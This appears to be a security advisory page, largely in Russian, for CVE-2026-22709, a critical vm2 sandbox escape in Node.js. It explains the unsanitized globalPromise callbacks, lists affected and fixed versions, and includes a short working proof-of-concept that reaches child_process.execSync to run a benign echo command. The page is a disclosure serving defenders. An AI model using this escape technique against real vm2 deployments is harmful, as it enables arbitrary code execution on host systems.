GHSA-99p7-6v5w-7xg8

Опубликовано: 26 янв. 2026

Источник: github

Github: Прошло ревью

CVSS3: 9.8

Описание

vm2 has a Sandbox Escape

In vm2 for version 3.10.0, Promise.prototype.then Promise.prototype.catch callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code.

const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code);

In lib/setup-sandbox.js, the callback function of localPromise.prototype.then is sanitized, but globalPromise.prototype.then is not sanitized. The return value of async functions is globalPromise object.

Ссылки

Пакеты

Наименование

vm2

npm

Затронутые версииВерсия исправления

<= 3.10.1

3.10.2

EPSS

Процентиль: 23%

0.00078

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2026-22709

Дефекты

CWE-693

CWE-913

CWE-94

Связанные уязвимости

CVE-2026-22709

CVSS3: 9.8

nvd

13 дней назад

vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.

EPSS

Процентиль: 23%

0.00078

Низкий

9.8 Critical

CVSS3

CVE ID

CVE-2026-22709

Дефекты

CWE-693

CWE-913

CWE-94